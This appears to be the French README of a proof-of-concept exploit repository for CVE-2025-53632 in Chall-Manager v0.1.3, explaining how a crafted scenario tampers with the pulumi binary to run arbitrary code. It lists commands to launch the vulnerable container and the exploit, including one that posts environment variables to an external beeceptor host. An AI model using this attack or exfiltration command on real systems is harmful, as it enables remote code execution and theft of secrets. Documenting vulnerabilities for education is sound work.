
Un exploit de CVE-2025-53632 pour confirmer l'exploitabilité
Ce dépôt contient une exploitation de CVE-2025-53632 affectant Chall-Manager < v0.1.4. Les versions affectées sont clairement obsolètes et très probablement inutilisées, je suis donc confiant qu'il n'y a pas d'exploitabilité malveillante actuelle.
Ce dépôt ne vous donne pas le droit d'attaquer quiconque, mais est destiné à des fins éducatives.
[!WARNING] La façon dont Chall-Manager gère les scénarios le rend toujours entièrement exploitable sans le zip slip : il suffit de modifier le binaire
pulumidu scénario pour que la prochaine exécution exécute votre code arbitraire.
Nous démontrons l'attaque sur Chall-Manager v0.1.3.
Imaginons un Chall-Manager exposé (ne faites pas cela, ce n'est pas prévu car c'est une application RCE à la demande).
Lors de la création d'un défi, le scénario est validé par un aperçu Pulumi. Il n'y a aucun contrôle sur ce code même, nous pouvons donc injecter n'importe quoi.
Pour ce faire, Chall-Manager utilise l'API auto de Pulumi, qui exécute le binaire Pulumi. Il le fait sans chemin absolu, car il s'attend à ce qu'il soit à /pulumi/bin/pulumi ($PATH commence par ).
/pulumi/binEn utilisant ces informations, nous allons altérer le programme pulumi en injectant du code shell avant son exécution.
Comme le scénario sera ensuite validé, le programme pulumi altéré sera exécuté, lançant le script.
À partir de ce script, vous pouvez désormais ouvrir un shell inversé, pivoter à travers l'infrastructure ou à l'intérieur du conteneur, divulguer des secrets (par exemple contenus dans des variables d'environnement) ou même le contenu du défi (par exemple le flag du défi si un scénario n'a pas été pré-construit).
Pour exécuter cette démonstration d'exploit, vous aurez besoin de :
Exécutez chall-manager.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
Exécutez main.go
go run main.go --url localhost:8080
Soyez inventif avec votre script ! Par exemple, vous pouvez envoyer les informations système à un tiers...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
Vous pouvez arrêter le conteneur Docker de démonstration Chall-Manager une fois terminé.
docker stop chall-manager && docker rm $_